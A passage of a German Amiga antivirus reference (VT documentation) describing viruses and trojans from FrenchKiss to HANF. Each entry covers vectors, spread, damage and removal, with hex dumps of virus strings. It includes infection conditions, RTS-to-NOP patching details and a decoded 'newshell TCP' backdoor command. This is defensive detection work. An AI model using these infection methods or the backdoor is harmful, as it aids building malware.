  8263.          Checking df0: for 126 viruses
  8264.          nach kurzer Zeit wird abwechselnd ausgegeben:
  8265.          SADDAM-Virus removed !
  8266.          oder
  8267.          SMILY CANCER-Virus removed !
  8268.          Schaden: schreibt in jeden 5.Block (also auch Root=880)
  8269.             Datenmuell, der nach einigen Tracks sogar den Inhalt
  8270.             wechselt (vermutlich soll Blockerkennung verhindert
  8271.             werden). Durch die vielen zerstoerten Bloecke ist eine
  8272.             Rettung mit DiskSalv unwahrscheinlich. Daten also ab-
  8273.             schreiben und Disk formatieren.
  8274.          Mit etwas Glueck erkennt VT beim BitMapTest eine Freedom-Disk.
  8275.          Beim BlockITest meldet sich VT nicht, da der Muell von Disk zu
  8276.          Disk und auch nach einigen Tracks wechselt.
  8277.  
  8278.  
  8279.    - French.BB-Virus  BB
  8280.          Es ist KEIN Virus.
  8281.          Lesen Sie bitte nach bei VT-andere.BB unter CCI-Intro.BB . Danke
  8282.  
  8283.  
  8284.    - FrenchKiss   belegt auf Track 0 Block 0 bis 5
  8285.          Ich besitze nur Bl 0 u. 1 . Ein echter Virus !!!
  8286.          Cool, DoIo, $6c, Vec5,
  8287.          immer ab $7f0d0
  8288.          Vermehrung: Block 0 bis 5 auf Track 0
  8289.          Schaeden:
  8290.          Je nach Zaehlerstand wird Track 0 ueberschrieben oder Track 80
  8291.          (bei Disk = Dir ) zerstoert. Mehr kann ich nicht sagen, da ich
  8292.          nur Block 0 u. 1 habe. Bitte schicken Sie mir Ihre verseuchte
  8293.          Disk. Danke !!!
  8294.  
  8295.    - FRESHMAKER-Virus   BB  immer ab $78000   Cool $78154
  8296.          Nach Reset dann noch: DoIo, Findres, Supervisor
  8297.          Vermehrung nur: mit KS1.3, da absolute ROM-Einspruenge
  8298.              und ExecBase im Speicher ab $C00000
  8299.          Versucht durch lesbaren Text im BB zu taeuschen:
  8300.            203E2056 69727573 50726F74 6563746F  > VirusProtecto
  8301.            72205631 2E30203C 2000               r V1.0 <
  8302.          Nach #10 Vermehrungen Textausgabe mit intuition. Text wird
  8303.          mit eori.b #$27,(a1)+ decodiert:
  8304.                 ES IST WIRKLICH NICHT ZU GLAUBEN.
  8305.                 DU BOOTEST MIT EINER UNGESCHÜTZTEN DISK !
  8306.                 ES IST WIRKLICH SCHADE (!),  DAß ES SOLCHE
  8307.                 LAMER (!) NOCH GIBT. DU HAST WOHL KEINE
  8308.                 ANGST VOR VIREN ??? ICH WÜNSCHE DIR
  8309.                 NOCH VIEL SPAß (!) MIT DEINEM AMIGA...
  8310.                 UNTERZEICHNET: THE FRESHMAKER IN 1991 !
  8311.  
  8312.    - Frity  Forpib-Clone    s.o.
  8313.  
  8314.    - FUCK-Virus  siehe bei MODEMCHECK-Virus
  8315.  
  8316.    - fuck.device-Virus   BB
  8317.          Cool, DoIo
  8318.          Namensbegruendung: siehe unten
  8319.          Fordert trackdisk.device NICHT
  8320.      Das Virusteil meldet sich nicht.
  8321.          Schaeden und Vermehrung:
  8322.          je nach dem Wert in der Zaehlzelle wird:
  8323.            - der Virus-BB geschrieben (#1024 Bytes)
  8324.            - oder Block 0 und 1 zerstoert mit fuck.device. Da hier aber
  8325.              $800 Bytes geschrieben werden, wird in Block 2 und 3 Speicher-
  8326.              muell geschrieben. Sollte ein File Block 2 und 3 belegt haben,
  8327.              so ist dieses File NICHT mehr zu retten.
  8328.               6675636b 2e646576 69636500 00667563 fuck.device..fuc
  8329.               6b2e6465 76696365 00006675 636b2e64 k.device..fuck.d
  8330.               65766963 65000066 75636b2e 64657669 evice..fuck.devi
  8331.          Kopieren Sie mit VT einen neuen DOS-BB auf.
  8332.  
  8333.    - fungus/lsd-LVirus    Linkvirus 
  8334.       moegliches Ausloeser-Archiv: M31H_CRK.LHA
  8335.            in diesem Archiv das File: Mui.MiamiGui #127360 Bytes
  8336.       Namensbegruendung:    
  8337.            Im decodierten LinkTeil ist zu lesen: 
  8338.            01ea536e 6f6f7044 6f732053 7570706f ..SnoopDos Suppo
  8339.            72742050 726f6365 7373003e 3e66756e rt Process.>>fun
  8340.            6775735c 6c73643c 3c007275 6e203e4e gus\lsd<<.run >N
  8341.            494c3a20 6e657773 68656c6c 20544350 IL: newshell TCP
  8342.            00313636 360043fa 01d42851 220c74fe .1666.C...(Q".t.
  8343.       Fileverlaengerung: #760 Bytes
  8344.       Nicht Resetfest
  8345.       Verbogene Vektoren: LoadSeg
  8346.       Speicherverankerung:
  8347.            - Test ob schon im Speicher ($261F)
  8348.            - Suche nach SnoopDos
  8349.            - Loadseg wird verbogen
  8350.       Linkvorgang:
  8351.            - mit LoadSeg
  8352.            - Medium validated
  8353.            - 3 Block frei
  8354.            - letztes Langwort im 1.Hunk enthaelt RTS (Problem s.u.)
  8355.              z.B. sehr viele Befehle im c-Verzeichnis
  8356.            - RTS wird zu NOP
  8357.              Falls RTS an vorletzter Stelle, dann 2x NOP
  8358.            - Link hinter den 1.Hunk
  8359.            - das Teil codiert sich mit EOR
  8360.       Zusatz:
  8361.          Das Teil versucht mit DosExecute run >NIL: newshell TCP
  8362.          auszufuehren. Falls VT das Teil im Speicher findet, sollten
  8363.          Sie vielleicht besser Internetzugriffe vermeiden, bis Sie
  8364.          ihre Files alle gesaeubert haben.
  8365.       Ausbauprobleme:
  8366.          letztes Langwort:
  8367.            a)      vor Virus:   wxyz4e75
  8368.                   nach Virus:   wxyz4e71
  8369.               nach VT-Ausbau:   wxyz4e75    also kein Problem  
  8370.            b)      vor Virus:   4e750000
  8371.                   nach Virus:   4e714e71
  8372.               nach VT-Ausbau:   4e750000    also kein Problem                    
  8373.            c)      vor Virus:   4e754e71
  8374.                   nach Virus:   4e714e71
  8375.               nach VT-Ausbau:   4e750000                         
  8376.            d)      vor Virus:   4e714e75
  8377.                   nach Virus:   4e714e71
  8378.               nach VT-Ausbau:   4e750000                          
  8379.            e)      vor Virus:   4e75wxyz
  8380.                   nach Virus:   4e714e71
  8381.               nach VT-Ausbau:   4e750000
  8382.         Fall c-e ist keine Originalrettung moeglich, da nicht erkannt
  8383.         werden kann, welches NOP (4e71) durch RTS (4e75) ersetzt werden
  8384.         muss. Das Virusteil nimmt hier auch keine Rettung vor.
  8385.         Fall c und d sind harmlos, da ein NOP vor oder nach RTS, die
  8386.         Lauffaehigkeit des Programms nicht beeinflussen duerfte.
  8387.         Fall e: wxyz, also eine Zahl nach RTS. Falls diese Zahl im
  8388.         Original-Programm nie verwendet wird, laeuft das Programm.
  8389.         Falls ABER ein Programmierer hier eine Zaehlzelle angelegt
  8390.         haette, dann waere das Programm NICHT lauffaehig. Aber auch
  8391.         das verseuchte File war NICHT MEHR lauffaehig.
  8392.        Vergleiche auch STD-Viren
  8393.        Nachtrag: Es ist ein Anti-fungus-Tool aufgetaucht, das nur ein
  8394.         RTS setzt, das Linkteil aber nicht entfernt. Falls VT so ein File
  8395.         sollte ein Requester "NOP fehlt" auftauchen, aber trotzdem der
  8396.         Ausbau angeboten werden. 
  8397.        Nachtrag: Stand Ende Sept. 98
  8398.              WARNUNG   WARNUNG   WARNUNG   WARNUNG   WARNUNG
  8399.         Testbedingungen: 68040warp  ROM 40.68  32MB Fast  2MB Chip NoCache
  8400.                          KEIN nachzuladendes File befindet sich im Speicher
  8401.                          Fungus-Virus aktiv im Speicher
  8402.                          Start des Antivirus-Prgs von WB von Festplatte
  8403.         Einige Antivirusprogramme laden beim Start nach. Viele diese Files
  8404.         z.B. in Libs: , xfd: usw. wurden von Fungus VERSEUCHT beim Nach-
  8405.         laden. Es scheint erst danach ein Speichertest zu erfolgen. Oder
  8406.         kann erst nach dem Nachladen erfolgen, weil erst JETZT die Viren-
  8407.         signaturen bekannt sind ????????
  8408.         Die Tests wurden mehrfach wiederholt (auch kleinere Prozessoren) .
  8409.         Leider war IMMER eine Fungusverseuchung festzustellen.
  8410.         Etwas vorsichtig geworden habe ich andere Viren (NICHT ALLE aus
  8411.         dem Pool) probiert. Bei einigen Viren (nicht bei allen getesteten
  8412.         Viren) ist EBENFALLS eine VERSEUCHUNG eingetreten.
  8413.         Ich gehe aber davon aus, dass diese Fehler durch Updates behoben
  8414.         werden. Bis dahin sollten Sie vielleicht von einer schreibge-
  8415.         schuetzten Disk, die KEINE assigns auf die Festplatte hat, diese
  8416.         Antivirusprogramme booten.
  8417.        Nachtrag Jan. 99: Eine Lib, die von AntiVirPrg.en verwendet wird,
  8418.         ueberprueft sich inzwischen nach dem Laden auf Veraenderungen.
  8419.              WARNUNG   WARNUNG   WARNUNG   WARNUNG   WARNUNG
  8420.  
  8421.  
  8422.  
  8423.    - Future Disaster    nur KS1.2, Cool, DoIo, BeginIo, immer ab $7FB00
  8424.          fordert trackdisk.device (also HD nicht)
  8425.          Vermehrung:BB
  8426.          Schaden:
  8427.          sobald die Zaehlzelle den Wert 7 erreicht hat:
  8428.          - schreibt Speicherinhalt ab $10000 nach Block 0 u 1
  8429.          - schreibt Speicherinhalt ab $7Fb00 nach Block 880 und weiter
  8430.          Folge: Disk unbrauchbar
  8431.  
  8432.    - G-Zus-Packer       Laenge ungepackt: 15016 Bytes
  8433.          Wird in Docs als bester Packer angepriesen, aber:
  8434.          - das Original-File wird geloescht
  8435.          - ein neues File mit gleichem Namen und Erweiterung .god erzeugt
  8436.          - dieses neue File ist 30 Bytes lang und enthaelt nur:
  8437.  
  8438.            0000: 54686973 49734d61 67696321 34434f1c ThisIsMagic!4CO.
  8439.            0010: 27303811 10464b55 524e435b 4f470000 '08..FKURNC[OG..
  8440.          Wenn Sie kein zweites Original-File haben, dann haben Sie Pech
  8441.          gehabt. 
  8442.          Wenn Sie KEINEN Papierkorb auf ihrer WB haben (z.B. ich), dann
  8443.          haben Sie Pech gehabt.
  8444.          Ist zwar KEIN Virus, aber vielleicht wird jemand durch die Er-
  8445.          kennung vor Schaden bewahrt. 
  8446.          Also ein ECHTES Zerstoerungstool, auch wenn einige selbsternannte
  8447.          Besserwisser, Ihnen etwas anderes erzaehlen wollen.
  8448.          Es ist KEIN Gag.
  8449.          Fundort z.B.:
  8450.          CD-Aminet5:AMINET/GAME/GAG/GZUS001.LZH
  8451.  
  8452.  
  8453.  
  8454.    - Gadaffi  (KickRomV1.2 Floppymusik)
  8455.          Cool, DoIo, KickTag, KickCheckSum
  8456.  
  8457.    - Gandalf BB  Cool, ExitIntr, PutMsg
  8458.          BB-Teile codiert mit eor.w d1,(a1)+
  8459.             decodiert ist im Speicher zu lesen: Gandalf`s Rache usw.
  8460.          Vermehrung und Schaeden:
  8461.            - schreibt sich auf BB
  8462.            - in Abhaengigkeit von der Zaehlzelle soll die Disk
  8463.              zerstoert werden. Verwechselt aber Disk-Seek mit Disk-Format,
  8464.              DisplayBeep mit DisplayAlert usw. (Anfaenger ??)
  8465.             
  8466.    - GCA-Virus  BB  Forpib-Clone   nur Text geaendert   26.11.92
  8467.             4765726d 616e2043 7261636b 696e6720 German Cracking
  8468.             4167656e 63792028 47434129 20212121 Agency (GCA) !!!
  8469.             20a92031 39383820 56312e30 20212121  . 1988 V1.0 !!!
  8470.  
  8471.    - GENERALHUNTER (L)  File
  8472.          Laenge ungepackt: 26112 Bytes
  8473.          Gibt vor ein Linkvirus-Tester zu sein.
  8474.          Empfehlung: Loeschen
  8475.          Im File wurde uncodiert folgender Text gefunden:
  8476.             67616265 293a2025 730a0040 5349474e gabe): %s..@SIGN
  8477.             554d0049 63682062 696e2064 65722042 UM.Ich bin der B
  8478.             6f62626c 652d5369 676e756d 2d566972 obble-Signum-Vir
  8479.             75732028 332e4765 6e657261 74696f6e us (3.Generation
  8480.             290a0044 75206272 61756368 7374206d )..Du brauchst m
  8481.             69636820 6e696368 74206d65 6872207a ich nicht mehr z
  8482.             75206b6f 70696572 656e2c20 64656e6e u kopieren, denn
  8483.             200a0064 61732068 61626520 69636820  ..das habe ich
  8484.             6a65747a 74206175 63682073 63686f6e jetzt auch schon
  8485.             2073656c 62657220 64726175 66212020  selber drauf!
  8486.                ;......
  8487.             4e753a00 1b631b5b 33336d47 454e4552 Nu:..c.[33mGENER
  8488.             414c4855 4e544552 2050524f 46455353 ALHUNTER PROFESS
  8489.             494f4e41 4c211b5b 33316d20 28432920 IONAL!.[31m (C)
  8490.             31393930 2c39312c 39320a00 56657273 1990,91,92..Vers
  8491.             696f6e20 332e322c 204de472 7a203139 ion 3.2, M.rz 19
  8492.             39320a00 53756368 742c2065 726b656e 92..Sucht, erken
  8493.  
  8494.    - GENESTEALER  BB  auch KS2.04
  8495.          immer ab $7EC00
  8496.          Cool, DoIo
  8497.          Im BB ist zu lesen: GENESTEALER VIRUS!!! by someone...
  8498.          Schaeden und Vermehrung:
  8499.          ueber BB
  8500.          Testet VBlank  ( cmpi.b #$32,$212(a6) )
  8501.          Sollte der Wert NICHT 50 sein, so wird der Rootblock zerstoert.
  8502.          Fordert trackdisk.device NICHT .
  8503.  
  8504.    - GENETIC PROTECTOR V2.00    BB   Dotty-Clone  s.o.  16.03.92
  8505.          nur Text geaendert: GENETIC-ELECTRONICS  usw.
  8506.          Pech gehabt: wird weiterhin als Dotty erkannt
  8507.  
  8508.    - Germany-Virus    Forpib-Clone   nur Text geaendert
  8509.             4765726d 616e7920 21204c6f 76652020 Germany ! Love
  8510.             6974206f 72206c65 61766520 69742021 it or leave it !
  8511.             21212121 21212121 21212020 20202020 !!!!!!!!!!
  8512.  
  8513.    - Glasnost  Block 0 bis 3, Laenge also 2048, KickTag, KickCheckSum
  8514.          im Prg noch DoIo, $6c, im Speicher immer $7F000
  8515.          fordert trackdisk.device NICHT.
  8516.          Wird aktiv wenn Block 880 gelesen wird
  8517.          Schaeden:
  8518.          blockiert nach 15 oder 20 Min. Rechner
  8519.          schreibt eigenen BB und zerstoert damit auch Files in Block 2 u. 3
  8520.          bestimmt einen Block ueber $DFF006 durch mulu #6,d7 und schreibt
  8521.          in diesen Block ab $100 vier Langworte ($11111111, $22222222,
  8522.          $44444444, $88888888). Dieser Block kann NICHT gerettet werden.
  8523.          Text in Block 3: Glasnost VIRUS by Gorba!!  First release
  8524.          Clone: siehe bei FLASHBACK-Virus, TAI13,
  8525.  
  8526.    - GlobVec144-LVirus      File  Link    
  8527.          Namensbegruendung: veraenderter Zeiger, da nichts Brauchbares im
  8528.                             Linkteil
  8529.          Verbogene Vektoren: Cold, KickTag, AddTask,
  8530.                              in der GlobVec-Tabelle der Wert an $144
  8531.          Resetfest: ja
  8532.          Fileverlaengerung: 2440 Bytes
  8533.          Link hinter ersten Hunk.
  8534.          VT versucht den Process im Speicher abzuschalten. Lieber waere
  8535.          mir allerdings, wenn Sie von einer "sauberen" und schreibge-
  8536.          schuetzten Disk starten wuerden, da auch in den Segmentlisten
  8537.          der Processe Veraenderungen vorgenommen werden.
  8538.          VT versucht das Linkteil aus einem File auszubauen.
  8539.      
  8540.          Vermehrungsbedingungen:
  8541.            - File ausfuehrbar ($3F3)
  8542.            - kein Hunk_Name  (4(File) muss 0 sein)
  8543.            - kein Hunk_Overlay ($c(File) muss 0 sein)
  8544.            - $14(File) = Hunklaenge hinter der Kennung ($3E9)
  8545.          Versucht Protection-Flags zu retten.
  8546.          Das Teil meldet sich nicht.
  8547.          Versucht im Speicher Process-Strukturen zu veraendern.
  8548.          In VT/Listen Resident taucht ein device auf:
  8549.           Vers 34 Pri -1  Name wechselt oder Name leer
  8550.          Hinweis: Ein Syquest-Medium war in kurzer Zeit unbrauchbar. Es
  8551.          sind auch defekte Files entstanden.  Es scheinen auch Files zu ent-
  8552.          stehen, bei denen die Zahl im 1.Hunk groesser ist als das abge-
  8553.          speicherte File. VT sollte "1.Hunk > Filelaenge" ausgeben und
  8554.          Loeschen anbieten.
  8555.          Hinweis2: Aeltere VT-Ver. haetten das Teil finden sollen, wenn
  8556.          Sie in VTPrefs das Datum einschalten. Aeltere VT-Ver. haetten
  8557.          das Teil finden sollen, wenn Sie in VTPrefs die Pruefsumme
  8558.          einschalten. Dazu muessen Sie aber in "guten Zeiten" mit copy
  8559.          nach ram und wieder zurueck z.B. in C-Dir fuer ein einheitliches
  8560.          Datum gesorgt haben. Oder Sie muessen mit VT Pruefsummen ge-
  8561.          bildet haben.
  8562.          Hinweis3: Falls Ihre Festplatte stark verseucht ist, gehen Sie
  8563.          bitte in Sp-File-Sp und testen Sie einzelne SubDir (DirFTest).
  8564.          Hinweis4:   RDB Formatter 2 Virus
  8565.          Mit diesem Namen erkennt ein anderes Antivirusprogramm Files,
  8566.          die vom GlobVec144-LVirus veraendert wurden. NUR !!!! Der
  8567.          GlobVec144-LVirus enthaelt KEINE Rigid-Format-Routine !!!!!
  8568.  
  8569.    - Golden Rider  Linkvirus  im Speicher immer $7C000
  8570.          verbiegt Cool, DoIo, DosOpen
  8571.          Arbeitet nicht mehr mit Doslib-Version 35 oder hoeher.
  8572.          Verlaengert ein File um 868 Bytes, haengt sich auch mehrmals
  8573.          in ein File, da keine Abfrage ob schon befallen.
  8574.          File darf max 100000 Bytes gross sein.
  8575.          File muss executable sein.
  8576.          Filename + Pfad darf nur Zeichen ab A enthalten (Ausnahme / : 1 0 )
  8577.          Eine Zeichenobergrenze wurde im Programm nicht gefunden.
  8578.          Eine Vermehrung findet statt bei:
  8579.             df0:Test/File
  8580.          KEINE Vermehrung mit:
  8581.             df3:Test/F9
  8582.          Das VirusTeil enthaelt keine Melderoutinen.
  8583.          Haengt sich am Ende des 1.Hunks ein und ersetzt RTS durch
  8584.          ein NOP. Sollte kein RTS am Ende des 1. Hunks gefunden wer-
  8585.          den, so wird $38 Schritte ab Hunkende zurueck nach einem
  8586.          RTS gesucht und dann durch BRA.s ersetzt.
  8587.          In ersten Hunk des befallenen Files ist unverschluesselt zu
  8588.          lesen:   >>> Golden Rider <<< by ABT
  8589.          VT versucht den Virusteil auszubauen und ein lauffaehiges
  8590.          Ursprungsprogramm abzuspeichern. KEINE Garantie !!!
  8591.          Arbeiten Sie mit einer Kopie !!!!
  8592.          Vermehrung getestet: ja
  8593.          Ausbau getestet: ja
  8594.          Hinweis: Da sich die 3 Testlangworte in 2 verschiedenen Bloecken
  8595.          befinden koennen, wird der Golden Rider nur im Filetest SICHER
  8596.          erkannt. Bei der Blockkette koennte einer beim Test NICHT ge-
  8597.          meldet werden.
  8598.          Hinweis 31.08.92: Ab VT2.44 sollten mehrere GoldenRider-Links
  8599.          ans gleiche File in einem Durchgang ausgebaut werden. Falls
  8600.          nein, melden Sie sich bitte. Danke
  8601.  
  8602.    - Gotcha LAMER    Filevirus     anderer Name: Lamer Bomb
  8603.          verlaengert File um 372 Bytes, DoIo
  8604.          nur in Files dir, run, cd, execute
  8605.          Schaeden:
  8606.          - KEINE Vermehrung ueber obengenannte Files hinaus
  8607.          - KopfStep
  8608.          - DisplayAlert u. RESET: "HAHAHE...  Gotcha LAMER!!!"
  8609.          Ursprungsprogramm:
  8610.          MINIDEMO.EXE       Laenge: 773 Bytes
  8611.          sucht fuer Link nach:
  8612.          dh0:c/dir, dh0:c/run, dh0:c/cd, dh0:c/execute
  8613.  
  8614.    - GoTcHa-Trojan    Filenamenveraenderung
  8615.          Anderer moeglicher Name: UNLZX-Trojan
  8616.          Bekannter Filename: unlzx  Laenge: 37400 Bytes
  8617.          Keine verbogenen Vektoren
  8618.          Nicht resetfest
  8619.          Im File ist zu lesen:
  8620.            54634861 21000000 000c7379 733a632f TcHa!.....sys:c/
  8621.            6c6f6164 77620000 000d7379 733a632f loadwb....sys:c/
  8622.            6c6f6164 77622000 0000000e 7379733a loadwb .....sys:
  8623.            632f7365 74706174 63680000 00107379 c/setpatch....sy
  8624.            733a632f 73657470 61746368 20200000 s:c/setpatch  ..
  8625.            000d7379 733a632f 6d616b65 64697200 ..sys:c/makedir.
  8626.            0000000f 7379733a 632f6d61 6b656469 ....sys:c/makedi
  8627.            72202000 0000000c 20202020 20476f54 r  .....     GoT
  8628.            63486121 00000000 00000000 00000017 cHa!............
  8629.            20207748 59206449 4420794f 55207255   wHY dID yOU rU
  8630.            4e206d45 203f2100 00000000 00000011 N mE ?!.........
  8631.            20202020 20202020 6e4f5720 49277645         nOW I'vE
  8632.            20000000 00000000 00102020 20202020  .........
  8633.            20202047 6f546348 6121                 GoTcHa!
  8634.          Schaden:
  8635.          Die Filenamen loadwb, makedir und setpatch werden um Leer-
  8636.          zeichen ergaenzt (siehe oben). Nach dem naechsten Reset
  8637.          kann also die startup-sequence nicht mehr abgearbeitet
  8638.          werden. Veraenderungen IN den Files wurden NICHT festge-
  8639.          stellt. Mit etwas Glueck erkennt VT auch diese Files.
  8640.          Vorsicht: Es koennte zu Fehlerkennungen kommen, wenn auch
  8641.          Programmierer mit diesen namen UND Leerzeichen arbeiten.
  8642.          Nach dem Rename erscheint ein Fenster mit dem Text "wHY
  8643.          dID .... usw. .
  8644.          Wenn Sie das Fenster schliessen, wird ein Reset ausge-
  8645.          loest.
  8646.          Das Teil MUSS also auffallen. Aendern Sie die drei File-
  8647.          namen mit SID oder einem anderen DirUtil einfach zurueck.
  8648.          VT bietet fuer das UNLZX nur loeschen an, da die unlzx-
  8649.          Funktion NICHT erfuellt wird.
  8650.  
  8651.    - GoTcHa-2-Trojan    Filenamenveraenderung
  8652.          Anderer moeglicher Name: devilcheck-Trojan
  8653.          Bekannter Filename: dd-devilcheck  Laenge: 32376 Bytes
  8654.          Keine verbogenen Vektoren
  8655.          Nicht resetfest
  8656.          Im File ist zu lesen: 
  8657.            20202020 20202047 6f546348 61212049        GoTcHa! I
  8658.            49000000 00000000 00000000 001b2020 I.............
  8659.            20202020 77485920 64494420 794f5520     wHY dID yOU
  8660.            72554e20 6d45203f 21000000 00000000 rUN mE ?!.......
  8661.            00152020 20202020 20202020 20206e4f ..            nO
  8662.            57204927 76452000 00000000 00000013 W I'vE .........
  8663.            20202020 20202020 20202020 20476f54              GoT
  8664.            63486100 00000000 00000015 20202020 cHa.........
  8665.            20202020 20202020 20416761 696e2021          Again !
  8666.            21000000 000c5359 533a632f 6c6f6164 !.....SYS:c/load
  8667.            77620000 000d5359 533a432f 6c6f6164 wb....SYS:C/load
  8668.            77622000 0000000e 5359533a 632f5365 wb .....SYS:c/Se
  8669.            74706174 63680000 00105359 533a432f tpatch....SYS:C/
  8670.            53657470 61746368 20200000 000d5359 Setpatch  ....SY
  8671.            533a632f 6d616b65 64697200 00000010 S:c/makedir.....
  8672.            5359533a 432f6d61 6b656469 72202020 SYS:C/makedir
  8673.            0000000b 5359533a 632f5374 61636b00 ....SYS:c/Stack.
  8674.            0000000a 5359533a 432f4861 434b0000 ....SYS:C/HaCK..
  8675.            000a5359 533a632f 74797065 0000000a ..SYS:c/type....
  8676.            7379733a 632f4879 70658054 0000     sys:c/Hype.T..
  8677.          Schaden:
  8678.          Die Filenamen loadwb, makedir und setpatch werden um Leer-
  8679.          zeichen ergaenzt (siehe oben). Stack und type werden um-
  8680.          benannt (s.o.). Nach dem naechsten Reset kann also die
  8681.          startup-sequence nicht mehr abgearbeitet werden.
  8682.          Veraenderungen IN den Files wurden NICHT festgestellt.
  8683.          Mit etwas Glueck erkennt VT auch diese Files.
  8684.          Vorsicht: Es koennte zu Fehlerkennungen kommen, wenn auch
  8685.          Programmierer mit diesen namen UND Leerzeichen arbeiten.
  8686.          Nach dem Rename erscheint ein Fenster mit dem Text "wHY
  8687.          dID .... usw. .
  8688.          Wenn Sie das Fenster schliessen, wird ein Reset ausge-
  8689.          loest.
  8690.          Das Teil MUSS also auffallen. Aendern Sie die fuenf File-
  8691.          namen mit SID oder einem anderen DirUtil einfach zurueck.
  8692.          VT bietet nur loeschen an.
  8693.          Unterschied zu GoTcHa: zwei Filenamen mehr
  8694.   
  8695.  
  8696.    - Graffiti         BB
  8697.          aehnlich 16Bit Crew + 3D-Graphik
  8698.          FastMem ja,
  8699.          Cool, im Prg DoIo,
  8700.          im Speicher immer $7ec00
  8701.          Vermehrung: ueber BB
  8702.          Graphikroutine mit 3D
  8703.          unverschluesselt im BB:
  8704.          VIRUS! written by Graffiti
  8705.  
  8706.    - GREMLIN       BB
  8707.          Cool, KickSumData, im Prg. DoIo,
  8708.          im Speicher immer $7f400
  8709.          Fordert trackdisk.device NICHT !!
  8710.          Vermehrung: ueber BB
  8711.          Textausgabe mit GraphikRoutine: roter Hintergrund, weisse Schrift
  8712.                         GREMLIN
  8713.  
  8714.    - Gremlins-BB    Fehlerquelle  Stand: Anfang April 94
  8715.          Bei aktivem Mount.BB-Virus  (s.u.)  erkennen einige Antivirus-
  8716.          programme "Gremlins-Virus" und versuchen die Original-Vektoren
  8717.          wieder zu setzen. Da die Vektorensicherung beim Mount.BB-Virus
  8718.          an einer anderen Stelle stattfindet, verursachen diese Prg.e
  8719.          einen Systemabsturz. Den Virus im BB erkennen diese Prg.e nicht.
  8720.          Ich nehme an, dass der Fehler in den entsprechenden Programmen
  8721.          beim naechsten Update (Mai 94 ?) behoben wird.
  8722.          VT erkennt bis einschliesslich VT2.62 "unbekanntes Programm" im
  8723.          Speicher. Sie koennen mit Tools/setze OVek. das Virusteil im
  8724.          Speicher OHNE Systemabsturz abschalten !!
  8725.          Ab VT2.63 (04.94) wird das neue Virusteil mit Namen (s.u.) er-
  8726.          kannt.
  8727.  
  8728.  
  8729.    - GRIM-REAPER-Virus   BB   Disk-Doktors-Clone   siehe oben
  8730.          Text geaendert:
  8731.            646f732e 6c696272 61727900 0000636c dos.library...cl
  8732.            6970626f 6172642e 64657669 63650000 ipboard.device..
  8733.            00010400 00000097 20546865 20475249 ........ The GRI
  8734.            4d2d5245 41504552 20627920 48616e6e M-REAPER by Hann
  8735.            6962616c 21202020 20200000 00000000 ibal!     ......
  8736.  
  8737.    - GVP-HardDiskSpeeder-Trojan
  8738.          andere moegliche Namen:
  8739.            DiskSpeeder-Trojan
  8740.            Karacic-Trojan      siehe dort
  8741.  
  8742.    - GX.TEAM    Fastmem ja, nur KS1.2 da absoluter DoIo-Einsprung
  8743.          Cool, DoIo, KickTag, KickCheckSum,
  8744.          im Speicher immer ab $7f4d0
  8745.          Vermehrung: ueber BB
  8746.          Textanzeige mit displayAlert (wird mit sub.b #$41,d0 nach
  8747.          $7f300 entschluesselt):
  8748.          Mais qui voila ???C'est le nouveau VIRUS de GX.TEAM !!
  8749.          AAAHH! Les salauds! Les ...(Insultes diverses)
  8750.          He!He! SILENCE :
  8751.          GX.TEAM entre enfin dans la legende ...
  8752.          BYE!!!
  8753.  
  8754.    - GYROS  Cool, DoIo,
  8755.          immer ab $7EC00
  8756.          Fordert trackdisk.device NICHT
  8757.          Vermehrung:BB
  8758.          Schaden:
  8759.          Sobald die Zaehlzelle den Wert 10 erreicht hat:
  8760.          - blockiert Rechner
  8761.          Im BB zu lesen: Your Amiga is fucked from a nice GYROS usw.
  8762.    - GYROS-SOFIA-Clone:
  8763.          Nur Text geaendert. Das Teil stammt nie und nimmer aus Sofia.
  8764.             206f6e65 7320534f 46494120 abababab  ones SOFIA ....
  8765.    - GYROS-SOFIA-Inst.     gepackt: 1524 Bytes
  8766.                           entpackt: 1952 Bytes
  8767.          Ein 3c(a7)-Link File (s.o.), das einen GYROS-SOFIA.BB im
  8768.          Speicher verankern soll. Das Teil war an 2.MZaus (richtig,
  8769.          das Original-Programm liegt auf der VT-Disk im Unterver-
  8770.          zeichnis Utility) gelinkt. VT bietet nur loeschen an. Ein
  8771.          Ausbau lohnt nicht. Da bei der Verankerung im Speicher,
  8772.          absolute Speicheradressen, die bei vielen Rechnern nicht
  8773.          belegt sind, verwendet werden, erscheint haeufig der GURU.
  8774.  
  8775.    - HACKERS  siehe bei SHIT
  8776.          Unter diesem Namen wurde mir ein BB zugeschickt. Aber auch
  8777.          im Speicher war dieser Name nicht nachvollziehbar.
  8778.  
  8779.  
  8780.    - HANF-LVirus    Linkvirus
  8781.          Namensbegruendung:
  8782.            Am Anfang des ersten Hunks ist zu lesen: 
  8783.            600c4e75 48414e46 00000fb8 4e7648e7 `.NuHANF....NvH.
  8784.          Fileverlaengerung: #5472 Bytes
  8785.          Nicht Resetfest
  8786.          Verbogener Vektoren:
  8787.            - $F0(TimerBase)
  8788.            - $6c-Proc  z.B. DF0, DF1 usw.
  8789.              (gesucht wird ueber DosBase, ROOT, Info usw.)
  8790.            - BeginIo von verschiedenen Ser.-Devs
  8791.              Decodiert ist im LinkTeil zu lesen:
  8792.            4e5d4cdf 7fff6000 064e6172 74736572 N]L..`..Nartser
  8793.            00426175 6442616e 64697400 62736369 .BaudBandit.bsci
  8794.            73646e00 636f6d70 6f727473 00647561 sdn.comports.dua
  8795.            72740065 6d707365 7200656e 766f7973 rt.empser.envoys
  8796.            65726961 6c006776 70736572 00686967 erial.gvpser.hig
  8797.            68737065 65640069 626d7365 72006e65 hspeed.ibmser.ne
  8798.            74736572 006e6577 73657200 73657269 tser.newser.seri
  8799.            616c0073 696f7362 72007371 75697272 al.siosbr.squirr
  8800.            656c7365 7269616c 0074656c 73657200 elserial.telser.
  8801.            55535253 65726961 6c007577 00763334 USRSerial.uw.v34
  8802.            73657269 616c0000 2e646576 69636500 serial...device.
  8803.          Speicherverankerung:
  8804.            - Test ob schon im Speicher (HANF) 
  8805.            - das Teil codiert sich im Speicher immer neu mit $DFF006
  8806.              (das gabs bis jetzt noch nicht)
  8807.          Linkvorgang:
  8808.            - File noch nicht verseucht (HANF)
  8809.            - Kein RTS an 2(CodeHunk) also keine Libs usw.
  8810.            - File ausfuehrbar ($3F3)
  8811.            - Letzter Hunk des Files ist Code oder Data
  8812.            - 1.Hunk mind. $3A gross
  8813.            - Ein kurzes Stueck des Virusteil ueberschreibt den
  8814.              Anfang des ersten Hunks
  8815.            - Der Haupt-Virusteil wird hinter den letzten Code-
  8816.              oder Datahunk gelinkt
  8817.            - das Teil codiert sich immer neu mit $DFF006 beim
